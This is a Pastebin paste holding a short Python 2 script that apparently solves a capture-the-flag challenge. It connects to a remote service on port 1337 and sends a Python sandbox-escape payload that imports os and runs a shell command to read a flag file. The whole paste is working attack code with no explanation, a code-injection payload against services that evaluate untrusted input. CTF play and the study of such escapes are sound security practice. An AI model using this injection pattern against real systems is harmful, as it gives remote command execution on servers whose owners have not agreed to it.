Advertisement
Guest User

Untitled

a guest
Aug 8th, 2017
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.23 KB | None | 0 0
  1. import socket
  2.  
  3. s = socket.socket()
  4. s.connect( ('small.stillhackinganyway.nl',1337) )
  5. payload = "__builtins__.__import__('os').system('cat home/small/flag')\n"
  6. print s.recv(1024)
  7. print s.send(str(payload))
  8. print s.recv(1024)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement